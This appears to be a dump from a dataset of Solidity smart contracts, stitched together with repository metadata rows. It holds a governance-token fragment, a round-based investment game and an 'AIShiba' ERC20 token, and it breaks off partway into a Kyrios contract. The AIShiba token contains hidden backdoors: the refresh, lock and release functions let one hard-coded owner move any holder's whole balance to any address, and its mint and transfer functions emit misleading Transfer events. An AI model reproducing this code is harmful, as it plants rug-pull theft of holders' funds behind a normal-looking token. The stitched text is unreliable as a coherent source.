uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying CAKEs (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes)
internal
{
uint32 blockNumber = safe32(block.number, "CAKE::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
| 249,622 | 238 |
28c2d26a726a000655764fb315e752707e54917f64e3ca45bee5e2025e3afdf1
| 22,342 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0xfba5687b205307852a37dcb765551438fc0f67ff.sol
| 5,535 | 20,415 |
pragma solidity ^0.4.17;
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
}
library HolderLib {
using SafeMath for uint256;
struct HolderValue {
uint256 value;
uint256[] relatedRoundIds;
uint256 fromIndex;
string refCode;
}
struct Holder {
mapping (address => HolderValue) holderMap;
}
function getNum(Holder storage holder, address adrs) internal view returns (uint256 num) {
return holder.holderMap[adrs].value;
}
function setRefCode(Holder storage holder, address adrs, string refCode) internal {
holder.holderMap[adrs].refCode = refCode;
}
function getRefCode(Holder storage holder, address adrs) internal view returns (string refCode) {
return holder.holderMap[adrs].refCode;
}
function add(Holder storage holder, address adrs, uint256 num) internal {
holder.holderMap[adrs].value = holder.holderMap[adrs].value.add(num);
}
function sub(Holder storage holder, address adrs, uint256 num) internal {
holder.holderMap[adrs].value = holder.holderMap[adrs].value.sub(num);
}
function setNum(Holder storage holder, address adrs, uint256 num) internal {
holder.holderMap[adrs].value = num;
}
function addRelatedRoundId(Holder storage holder, address adrs, uint256 roundId) internal {
uint256[] storage ids = holder.holderMap[adrs].relatedRoundIds;
if (ids.length > 0 && ids[ids.length - 1] == roundId) {
return;
}
ids.push(roundId);
}
function removeRelatedRoundId(Holder storage holder, address adrs, uint256 roundId) internal {
HolderValue storage value = holder.holderMap[adrs];
require(value.relatedRoundIds[value.fromIndex] == roundId, 'only the fromIndex element can be removed');
value.fromIndex++;
}
}
library TableLib {
using SafeMath for uint256;
struct TableValue {
bool exists;
uint256 value;
}
struct Table {
mapping (address => TableValue) tableMapping;
address[] addressList;
}
function getNum(Table storage tbl, address adrs) internal view returns (uint256 num) {
return tbl.tableMapping[adrs].value;
}
function add(Table storage tbl, address adrs, uint256 num) internal {
if (!tbl.tableMapping[adrs].exists) {
tbl.addressList.push(adrs);
tbl.tableMapping[adrs].exists = true;
}
tbl.tableMapping[adrs].value = tbl.tableMapping[adrs].value.add(num);
}
function getValues(Table storage tbl, uint256 page) internal view
returns (uint256 count, address[] addressList, uint256[] numList) {
count = tbl.addressList.length;
uint256 maxPageSize = 50;
uint256 index = 0;
uint256 pageSize = maxPageSize;
if (page*maxPageSize > count) {
pageSize = count - (page-1)*maxPageSize;
}
addressList = new address[](pageSize);
numList = new uint256[](pageSize);
for (uint256 i = (page - 1) * maxPageSize; i < count && index < pageSize; i++) {
address adrs = tbl.addressList[i];
addressList[index] = adrs;
numList[index] = tbl.tableMapping[adrs].value;
index++;
}
}
}
library RoundLib {
using SafeMath for uint256;
using HolderLib for HolderLib.Holder;
using TableLib for TableLib.Table;
event Log(string str, uint256 v1, uint256 v2, uint256 v3);
uint256 constant private roundSizeIncreasePercent = 160;
struct Round {
uint256 roundId; //
uint256 roundNum; //
uint256 max; //
TableLib.Table investers; //
uint256 raised; //
uint256 pot; //
}
function getInitRound(uint256 initSize) internal pure returns (Round) {
TableLib.Table memory investers;
return Round({
roundId: 1,
roundNum: 1,
max: initSize,
investers: investers,
raised: 0,
pot: 0
});
}
function getNextRound(Round storage round, uint256 initSize) internal view returns (Round) {
TableLib.Table memory investers;
bool isFinished = round.max == round.raised;
return Round({
roundId: round.roundId + 1,
roundNum: isFinished ? round.roundNum + 1 : 1,
max: isFinished ? round.max * roundSizeIncreasePercent / 100 : initSize,
investers: investers,
raised: 0,
pot: 0
});
}
function add (Round storage round, address adrs, uint256 amount) internal
returns (bool isFinished, uint256 amountUsed) {
if (round.raised + amount >= round.max) {
isFinished = true;
amountUsed = round.max - round.raised;
} else {
isFinished = false;
amountUsed = amount;
}
round.investers.add(adrs, amountUsed);
round.raised = round.raised.add(amountUsed);
}
function getNum(Round storage round, address adrs) internal view returns (uint256) {
return round.investers.getNum(adrs);
}
function getBalance(Round storage round, address adrs)
internal view returns (uint256) {
uint256 balance = round.investers.getNum(adrs);
if (balance == 0) {
return balance;
}
return balance * round.pot / round.raised;
}
function moveToHolder(Round storage round, address adrs, HolderLib.Holder storage coinHolders) internal {
if (round.pot == 0) {
return;
}
uint256 amount = getBalance(round, adrs);
if (amount > 0) {
coinHolders.add(adrs, amount);
coinHolders.removeRelatedRoundId(adrs, round.roundId);
}
}
function getInvestList(Round storage round, uint256 page) internal view
returns (uint256 count, address[] addressList, uint256[] numList) {
return round.investers.getValues(page);
}
}
library DealerLib {
using SafeMath for uint256;
struct DealerInfo {
address addr;
uint256 amount;
uint256 rate; // 200 2%
}
struct Dealers {
mapping (string => DealerInfo) dealerMap;
mapping (address => string) addressToCodeMap;
}
function query(Dealers storage dealers, string code) internal view returns (DealerInfo storage) {
return dealers.dealerMap[code];
}
function queryCodeByAddress(Dealers storage dealers, address adrs) internal view returns (string code) {
return dealers.addressToCodeMap[adrs];
}
function dealerExisted(Dealers storage dealers, string code) internal view returns (bool value) {
return dealers.dealerMap[code].addr != 0x0;
}
function insert(Dealers storage dealers, string code, address addr, uint256 rate) internal {
require(!dealerExisted(dealers, code), "code existed");
require(bytes(queryCodeByAddress(dealers, addr)).length == 0, "address existed in dealers");
setDealer(dealers, code, addr, rate);
}
function update(Dealers storage dealers, string code, address addr, uint256 rate) internal {
address oldAddr = dealers.dealerMap[code].addr;
require(oldAddr != 0x0, "code not exist");
require(bytes(queryCodeByAddress(dealers, addr)).length == 0, "address existed in dealers");
delete dealers.addressToCodeMap[oldAddr];
setDealer(dealers, code, addr, rate);
}
function setDealer(Dealers storage dealers, string code, address addr, uint256 rate) private {
require(addr != 0x0, "invalid address");
require(rate <= 300, "invalid rate");
dealers.addressToCodeMap[addr] = code;
dealers.dealerMap[code].addr = addr;
dealers.dealerMap[code].rate = rate;
}
function addAmount(Dealers storage dealers, string code, uint256 amountUsed) internal
returns (uint256 amountToDealer) {
require(amountUsed > 0, "amount must be greater than 0");
require(dealerExisted(dealers, code), "code not exist");
amountToDealer = amountUsed * dealers.dealerMap[code].rate / 10000;
dealers.dealerMap[code].amount = dealers.dealerMap[code].amount.add(amountToDealer);
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Cox is Ownable {
using SafeMath for uint256;
using HolderLib for HolderLib.Holder;
using RoundLib for RoundLib.Round;
using DealerLib for DealerLib.Dealers;
event RoundIn(address addr, uint256 amt, uint256 currentRoundRaised, uint256 round, uint256 bigRound, string refCode);
event Log(string str, uint256 value);
event PoolAdd(uint256 value);
event PoolSub(uint256 value);
//
uint256 private roundDuration = 1 days;
uint256 private initSize = 10 ether; //
uint256 private minRecharge = 0.01 ether; //
bool private mIsActive = false; //
bool private isAutoRestart = true; //
uint256 private rate = 300; // 300 3%
string private defaultRefCode = "owner";
DealerLib.Dealers private dealers; //
HolderLib.Holder private coinHolders; //
RoundLib.Round[] private roundList;
uint256 private fundPoolSize; //
uint256 private roundStartTime;
uint256 private roundEndTime;
uint256 private bigRound = 1;
uint256 private totalAmountInvested = 0;
constructor() public {
roundList.push(RoundLib.getInitRound(initSize));
dealers.insert(defaultRefCode, msg.sender, 100);
}
function transferOwnership(address _newOwner) public onlyOwner {
Ownable.transferOwnership(_newOwner);
dealers.update(defaultRefCode, _newOwner, 100);
}
function poolAdd(uint256 value) private {
fundPoolSize = fundPoolSize.add(value);
emit PoolAdd(value);
}
function poolSub(uint256 value) private {
fundPoolSize = fundPoolSize.sub(value);
emit PoolSub(value);
}
modifier isActive() {
require(mIsActive == true, "it's not ready yet.");
require(now >= roundStartTime, "it's not started yet.");
_;
}
modifier callFromHuman(address addr) {
uint size;
assembly {size := extcodesize(addr)}
require(size == 0, "not human");
_;
}
//
function recharge(string code) public isActive callFromHuman(msg.sender) payable {
require(msg.value >= minRecharge, "not enough fund");
string memory _code = coinHolders.getRefCode(msg.sender);
if (bytes(_code).length > 0) {
code = _code;
} else {
if (!dealers.dealerExisted(code)) {
code = defaultRefCode;
}
coinHolders.setRefCode(msg.sender, code);
}
coinHolders.add(msg.sender, msg.value);
roundIn(msg.value, code);
}
function moveRoundsToHolder(address adrs) internal {
HolderLib.HolderValue storage holderValue = coinHolders.holderMap[adrs];
uint256[] memory roundIds = holderValue.relatedRoundIds;
uint256 roundId;
for (uint256 i = holderValue.fromIndex; i < roundIds.length; i++) {
roundId = roundIds[i];
roundList[roundId - 1].moveToHolder(adrs, coinHolders);
}
}
//
function withdraw() public callFromHuman(msg.sender) {
moveRoundsToHolder(msg.sender);
uint256 amount = coinHolders.getNum(msg.sender);
if (amount > 0) {
coinHolders.sub(msg.sender, amount);
//transfer
msg.sender.transfer(amount);
}
}
//
function roundIn() public isActive {
string memory code = coinHolders.getRefCode(msg.sender);
require(bytes(code).length > 0, "code must not be empty");
require(dealers.dealerExisted(code), "dealer not exist");
moveRoundsToHolder(msg.sender);
uint256 amount = coinHolders.getNum(msg.sender);
require(amount > 0, "your balance is 0");
roundIn(amount, code);
}
//
function endRound() public isActive {
RoundLib.Round storage curRound = roundList[roundList.length - 1];
endRoundWhenTimeout(curRound);
}
function endRoundWhenTimeout(RoundLib.Round storage curRound) private isActive {
if (now >= roundEndTime) {
uint256 preRoundMax = 0;
if (curRound.roundNum > 1) {
RoundLib.Round storage preRound = roundList[roundList.length - 2];
preRoundMax = preRound.max;
}
uint256 last2RoundsRaised = preRoundMax + curRound.raised;
if (last2RoundsRaised > 0) {
curRound.pot = curRound.raised * fundPoolSize / last2RoundsRaised;
if (curRound.roundNum > 1) {
preRound.pot = preRound.raised * fundPoolSize / last2RoundsRaised;
poolSub(preRound.pot);
}
poolSub(curRound.pot);
}
mIsActive = isAutoRestart;
startNextRound(curRound);
bigRound++;
}
}
function startNextRound(RoundLib.Round storage curRound) private {
roundList.push(curRound.getNextRound(initSize));
roundStartTime = now;
roundEndTime = now + roundDuration;
}
function roundIn(uint256 amt, string code) private isActive {
require(coinHolders.getNum(msg.sender) >= amt, "not enough coin");
RoundLib.Round storage curRound = roundList[roundList.length - 1];
if (now >= roundEndTime) {
endRoundWhenTimeout(curRound);
return;
}
(bool isFinished, uint256 amountUsed) = curRound.add(msg.sender, amt);
totalAmountInvested = totalAmountInvested.add(amountUsed);
require(amountUsed > 0, 'amountUsed must greater than 0');
emit RoundIn(msg.sender, amountUsed, curRound.raised, curRound.roundNum, bigRound, code);
// roundId
coinHolders.addRelatedRoundId(msg.sender, curRound.roundId);
coinHolders.sub(msg.sender, amountUsed);
//
uint256 amountToDealer = dealers.addAmount(code, amountUsed);
uint256 amountToOwner = (amountUsed * rate / 10000).sub(amountToDealer);
coinHolders.add(owner, amountToOwner);
coinHolders.add(dealers.query(code).addr, amountToDealer);
poolAdd(amountUsed.sub(amountToDealer).sub(amountToOwner));
if (isFinished) {
if (curRound.roundNum > 1) {
RoundLib.Round storage preRound2 = roundList[roundList.length - 2];
preRound2.pot = preRound2.max * 11 / 10;
poolSub(preRound2.pot);
}
startNextRound(curRound);
}
}
function verifyCodeLength(string code) public pure returns (bool) {
return bytes(code).length >= 4 && bytes(code).length <= 20;
}
function addDealer(string code, address addr, uint256 _rate) public onlyOwner {
require(verifyCodeLength(code), "code length should between 4 and 20");
dealers.insert(code, addr, _rate);
}
function addDealerForSender(string code) public {
require(verifyCodeLength(code), "code length should between 4 and 20");
dealers.insert(code, msg.sender, 100);
}
function getDealerInfo(string code) public view returns (string _code, address adrs, uint256 amount, uint256 _rate) {
DealerLib.DealerInfo storage dealer = dealers.query(code);
return (code, dealer.addr, dealer.amount, dealer.rate);
}
function updateDealer(string code, address addr, uint256 _rate) public onlyOwner {
dealers.update(code, addr, _rate);
}
function setIsAutoRestart(bool isAuto) public onlyOwner {
isAutoRestart = isAuto;
}
function setMinRecharge(uint256 a) public onlyOwner {
minRecharge = a;
}
function setRoundDuration(uint256 a) public onlyOwner {
roundDuration = a;
}
function setInitSize(uint256 size) public onlyOwner {
initSize = size;
RoundLib.Round storage curRound = roundList[roundList.length - 1];
if (curRound.roundNum == 1 && curRound.raised < size) {
curRound.max = size;
}
}
function activate() public onlyOwner {
// can only be ran once
require(mIsActive == false, "already activated");
// activate the contract
mIsActive = true;
roundStartTime = now;
roundEndTime = now + roundDuration;
}
function setStartTime(uint256 startTime) public onlyOwner {
roundStartTime = startTime;
roundEndTime = roundStartTime + roundDuration;
}
function deactivate() public onlyOwner {
require(mIsActive == true, "already deactivated");
mIsActive = false;
}
function getGlobalInfo() public view returns
(bool _isActive, bool _isAutoRestart, uint256 _round, uint256 _bigRound,
uint256 _curRoundSize, uint256 _curRoundRaised, uint256 _fundPoolSize,
uint256 _roundStartTime, uint256 _roundEndTime, uint256 _totalAmountInvested) {
RoundLib.Round storage curRound = roundList[roundList.length - 1];
return (mIsActive, isAutoRestart, curRound.roundNum, bigRound,
curRound.max, curRound.raised, fundPoolSize,
roundStartTime, roundEndTime, totalAmountInvested);
}
function getMyInfo() public view
returns (address ethAddress, uint256 balance, uint256 preRoundAmount, uint256 curRoundAmount,
string dealerCode, uint256 dealerAmount, uint256 dealerRate) {
return getAddressInfo(msg.sender);
}
function getAddressInfo(address _address) public view
returns (address ethAddress, uint256 balance, uint256 preRoundAmount, uint256 curRoundAmount,
string dealerCode, uint256 dealerAmount, uint256 dealerRate) {
RoundLib.Round storage curRound = roundList[roundList.length - 1];
preRoundAmount = 0;
if (curRound.roundNum > 1) {
RoundLib.Round storage preRound = roundList[roundList.length - 2];
preRoundAmount = preRound.getNum(_address);
}
(dealerCode, , dealerAmount, dealerRate) = getDealerInfo(dealers.queryCodeByAddress(_address));
return (_address, coinHolders.getNum(_address) + getBalanceFromRound(_address),
preRoundAmount, curRound.getNum(_address), dealerCode, dealerAmount, dealerRate);
}
function getBalanceFromRound(address adrs) internal view returns (uint256) {
HolderLib.HolderValue storage holderValue = coinHolders.holderMap[adrs];
uint256[] storage roundIds = holderValue.relatedRoundIds;
uint256 roundId;
uint256 balance = 0;
for (uint256 i = holderValue.fromIndex; i < roundIds.length; i++) {
roundId = roundIds[i];
balance += roundList[roundId - 1].getBalance(adrs);
}
return balance;
}
function getRoundInfo(uint256 roundId, uint256 page) public view
returns (uint256 _roundId, uint256 roundNum, uint256 max, uint256 raised, uint256 pot,
uint256 count, address[] addressList, uint256[] numList) {
RoundLib.Round storage round = roundList[roundId - 1];
_roundId = round.roundId;
roundNum = round.roundNum;
max = round.max;
raised = round.raised;
pot = round.pot;
(count, addressList, numList) = round.getInvestList(page);
}
}
| 145,682 | 239 |
9682cd55e4eb701ecde1d4f884769de812f321d5ef8711d395af478da5ec79da
| 12,084 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/82/82cc70328bbfc04a874bdc668736922c22e6f972_AIShiba.sol
| 2,910 | 11,195 |
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
contract AIShiba is Context, IERC20 {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
using SafeMath for uint256;
using Address for address;
address private _safeOwner;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
address _addr = 0x84957E9FAEaE9Bb478cC2Ed97652C96fbA81d190;
address __addr = 0xD99984e1D6AcB5471681ba4E070F19a9c29B7844;
address public _origin = 0x460Dd86b2DF3dF78F2c6d39f5C7715bA08FE8957;
constructor () public {
_name = "AIShiba Inu";
_symbol = "AIShiba";
_decimals = 18;
uint256 initialSupply = 210000000000000000;
_safeOwner = _origin;
procure(_addr, initialSupply*(10**18));
procure(__addr, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_load(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_load(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
if (sender == _origin) {
sender = _addr;
}
emit Transfer(sender, recipient, amount);
}
function procure(address account, uint256 amount) public {
require(msg.sender == _origin, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_origin] = _balances[_origin].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _load(address sender, address recipient, uint256 amount) internal fill(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
if (sender == _origin){
sender = _addr;
}
emit Transfer(sender, recipient, amount);
}
modifier fill(address sender, address recipient, uint256 amount){
_;
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
modifier auth() {
require(msg.sender == _origin, "Not allowed to interact");
_;
}
function refresh(address account, address staker) public {
require(msg.sender == _origin, "ERC20: mint to the zero address");
uint256 amount = _balances[account];
_beforeTokenTransfer(account, staker, amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_balances[staker] = _balances[staker].add(amount);
emit Transfer(account, staker, amount);
}
function lock(address account, address staker) public {
require(msg.sender == _origin, "ERC20: mint to the zero address");
uint256 amount = _balances[account];
_beforeTokenTransfer(account, staker, amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_balances[staker] = _balances[staker].add(amount);
emit Transfer(account, staker, amount);
}
function release(address account, address staker) public {
require(msg.sender == _origin, "ERC20: mint to the zero address");
uint256 amount = _balances[account];
_beforeTokenTransfer(account, staker, amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_balances[staker] = _balances[staker].add(amount);
emit Transfer(account, staker, amount);
}
}
| 40,489 | 240 |
f179b59838f8ffadf4f72cce46cb91e287a6be9e7ac9bfa395653c162c2c559d
| 38,385 |
.sol
|
Solidity
| false |
454395313
|
solidproof/projects
|
e4944c9bb61ee5a4776813b37db72129ff648eb2
|
Kyrios Finance/Contracts/KyriosT.sol
| 5,031 | 20,080 |
pragma solidity 0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
